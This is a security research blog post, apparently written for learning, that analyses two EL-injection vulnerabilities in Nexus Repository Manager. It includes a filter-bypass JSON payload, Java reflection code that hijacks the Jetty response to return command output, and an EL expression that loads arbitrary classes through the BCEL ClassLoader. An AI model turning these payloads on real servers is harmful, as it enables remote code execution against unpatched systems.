0x00 前言
3月31日的时候Nexus Repository Manager官方发布了CVE-2020-10199,CVE-2020-10204的漏洞公告,两个漏洞均是由Github Secutiry Lab的@pwntester发现的。本着学习的态度,跟进学习了一下,于是有了此文。从漏洞的描述来看,10199的漏洞需要普通用户权限即可触发,而10204则需要管理员权限。两个漏洞的触发原因均是不安全的执行EL表达式导致的。本文将简单分析漏洞的利用方法,重点来讲述一下漏洞利用过程中的回显获取的问题。
0x01 漏洞分析
在Github Security Lab的主页上列出了@pwntester利用codeql来挖掘CVE-2020-10199的过程,作者提及在构建污点分析的模型时候参考了CVE-2018-16621。看一下该漏洞就不难发现,其实这里的CVE-2020-10204就是前者的绕过。因为官方在修复该漏洞的时候采用的方法是将"${"替换为"{", 代码片段如下:
/** * Strip java el start token from a string * @since 3.14 */ public String stripJavaEl(final String value) { if (value != null) { return value.replaceAll("\\$+\\{", "{"); } return null; } }
因此参考之前请求的路由,利用如下:
漏洞分析的流程可以参考之前CVE-2018-16621的分析,这里值得一提的是绕过的方法,因为过滤的正则不严谨,没有考虑到"$"和"{"之间的字符,而EL表达式执行的松散性,刚好可以用来绕过该正则。例如这样的payload也是可以执行的:
{"action":"coreui_User","method":"update","data":[{"userId":"test","version":"1.0","firstName":"xxx","lastName":"xxx","email":"[email protected]","status":"active","roles":["$+{'this is vulnerability'.toUpperCase()}"]}],"type":"rpc","tid":7}
接着再来简单看一下CVE-2020-10199漏洞,作者发现如果可控的数据进入到createViolation函数将会调用buildConstraintViolationWithTemplate执行EL表达式,而在org.sonatype.nexus.repository.rest.api.AbstractGroupRepositoriesApiResource类中则存在如下的函数调用:
private void validateGroupMembers(T request) { String groupFormat = request.getFormat(); Set<ConstraintViolation<?>> violations = Sets.newHashSet(); Collection<String> memberNames = request.getGroup().getMemberNames(); for (String repositoryName : memberNames) { Repository repository = repositoryManager.get(repositoryName); if (nonNull(repository)) { String memberFormat = repository.getFormat().getValue(); if (!memberFormat.equals(groupFormat)) { violations.add(constraintViolationFactory.createViolation("memberNames", "Member repository format does not match group repository format: " + repositoryName)); } } else { violations.add(constraintViolationFactory.createViolation("memberNames", "Member repository does not exist: " + repositoryName)); } } maybePropagate(violations, log); }
但是该类是一个抽象类,因此实现该类的子类如果调用validateGroupMembers方法将有机会执行EL表达式,搜索可以发现该类的实现只有org.sonatype.nexus.repository.golang.rest.GolangGroupRepositoriesApiResource这么一个类,在该类执行创建仓库/更新仓库的操作中都将利用到该方法:
@POST @RequiresAuthentication @Validate public Response createRepository(final T request) { validateGroupMembers(request); return super.createRepository(request); } @PUT @Path("/{repositoryName}") @RequiresAuthentication @Validate public Response updateRepository( final T request, @PathParam("repositoryName") final String repositoryName) { validateGroupMembers(request); return super.updateRepository(request, repositoryName); }
接下来就是寻找路由触发漏洞,借助于idea可以看到路由的访问:
刚开始请求,无论如何都不对,后来在http://127.0.0.1:8081/#admin/system/api发现了如下的接口文档:
但是这里有一个坑,就是用来触发漏洞的memberNames的值为一个ArrayList,因此文档有错误:
修改以后重新发包,漏洞触发成功:
0x02 获取回显
在实际的渗透测试环境下,如果目标主机不出网,将无法反弹shell进行利用,而且反弹shell这种敏感操作也容易触发安全警报。而由于目标环境的原因,web shell不一定都可以执行,实现命令执行的回显利用就显得比较重要了。目前来说,通用的回显思路不外乎以下的几种:
1. 利用报错。实现的方法是在代码执行的时候将所执行命令的结果直接使用异常进行抛出,因为异常没有被捕获处理的原因将会抛出在页面上。
2. 写入到文件。这个方式不难理解了,将命令执行的回显输出到文件,然后进行访问。
3. 获取当前线程中绑定的输出流对象,调用输出的方法进行输出。
4. rmi之类的通过实现服务端,重新注册之后,正常去调用即可。
这里因为报错的时候会被上层进行捕获,我暂时没找到利用的方法。因此这里采用获取输出流的方式,具体的方法就是在表达式执行(org.hibernate.validator.internal.engine.messageinterpolation.ElTermResolver)的时候打断点,然后在调试器中看当前上下文中ThreadLocal绑定的对象:
然后在调试器中可以找到request对象:
这里绑定的对象很多,可以拿到request对象的地方也挺多的。本地测试的时候选择的是org.eclipse.jetty.server.HttpConnection的实例对象。从图中可以看出该对象的成员属性_channel中包含了request对象。通过查看该对象的实例方法发现通过getHttpChannel方法来获得HttpChannel对象,然后再通过所得对象的getRequest方法即可获取Request对象。Request对象是org.eclipse.jetty.server.Request的实例,该类继承自HttpServletRequest。画一个关系图就是下边这样的:
org.eclipse.jetty.server.HttpConnection.getHttpChannel() ==> org.eclipse.jetty.server.HttpChannel.getResponse() ==> write()
首先需要来获取java.lang.ThreadLocal$ThreadLocalMap$Entry中的对象,利用的代码如下:
public static void getObjectFromThread() { try { //获取当前线程对象 Thread thread = Thread.currentThread(); //获取Thread中的threadLocals对象 Field threadLocals = Thread.class.getDeclaredField("threadLocals"); threadLocals.setAccessible(true); //ThreadLocalMap是ThreadLocal中的一个内部类,并且访问权限是default // 这里获取的是ThreadLocal.ThreadLocalMap Object threadLocalMap = threadLocals.get(thread); //这里要这样获取ThreadLocal.ThreadLocalMap Class threadLocalMapClazz = Class.forName("java.lang.ThreadLocal$ThreadLocalMap"); //获取ThreadLocalMap中的Entry对象 Field tableField = threadLocalMapClazz.getDeclaredField("table"); tableField.setAccessible(true); //获取ThreadLocalMap中的Entry Object[] Entries = (Object[]) tableField.get(threadLocalMap); //获取ThreadLocalMap中的Entry Class Class entryClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry"); //获取ThreadLocalMap中的Entry中的value字段, 该字段类型为HashMap类型 Field entryValueField = entryClass.getDeclaredField("value"); entryValueField.setAccessible(true); String results = ""; for (Object entry : Entries) { if (entry != null) { try { Object val = entryValueField.get(entry); if (val != null) { results += val.getClass().getName() + "\n"; } } catch (IllegalAccessException e) { } } } System.out.println(results); } catch (Exception e) { } }
然后从获取到的Entry对象中找到HttpConnection对象即可。完整的利用代码如下:
public static void getResponseFromThread() { try { //获取当前线程对象 Thread thread = Thread.currentThread(); //获取Thread中的threadLocals对象 Field threadLocals = Thread.class.getDeclaredField("threadLocals"); threadLocals.setAccessible(true); //ThreadLocalMap是ThreadLocal中的一个内部类,并且访问权限是default // 这里获取的是ThreadLocal.ThreadLocalMap Object threadLocalMap = threadLocals.get(thread); //这里要这样获取ThreadLocal.ThreadLocalMap Class threadLocalMapClazz = Class.forName("java.lang.ThreadLocal$ThreadLocalMap"); //获取ThreadLocalMap中的Entry对象 Field tableField = threadLocalMapClazz.getDeclaredField("table"); tableField.setAccessible(true); //获取ThreadLocalMap中的Entry Object[] objects = (Object[]) tableField.get(threadLocalMap); //获取ThreadLocalMap中的Entry Class entryClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry"); //获取ThreadLocalMap中的Entry中的value字段 Field entryValueField = entryClass.getDeclaredField("value"); entryValueField.setAccessible(true); for (Object object : objects) { if (object != null) { try { Object httpConnection = entryValueField.get(object); if (httpConnection != null) { if (httpConnection.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection")) { Class<?> HttpConnection = httpConnection.getClass();
// 获取HttpChannel 对象 Object httpChannel = HttpConnection.getMethod("getHttpChannel").invoke(httpConnection); Class<?> HttpChannel = httpChannel.getClass();
// 获取request对象 Object request = HttpChannel.getMethod("getRequest").invoke(httpChannel);
// 获取自定义头部 String header = (String) request.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(request, new Object[]{"MagicZero"});
// 获取response对象 Object response = HttpChannel.getMethod("getResponse").invoke(httpChannel); PrintWriter writer = (PrintWriter)response.getClass().getMethod("getWriter").invoke(response); writer.write(header); writer.close(); } } } catch (IllegalAccessException e) { } } } } catch (Exception e) { } }
以上的代码已经能够获取到request和response对象,接着我们来解决如何使用EL表达式将该类动态加载出来。这里选择JDK内置的com.sun.org.apache.bcel.internal.util.ClassLoader来动态加载我们的类:
${''.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('bcel class byte').newInstance()
BCEL字节码生成的方法:
// 该参数接收的是一个Class文件
public static String class2BCEL(String classFile) throws Exception{ Path path = Paths.get(classFile); byte[] bytes = Files.readAllBytes(path); String result = Utility.encode(bytes,true); return result; }
最终的利用效果: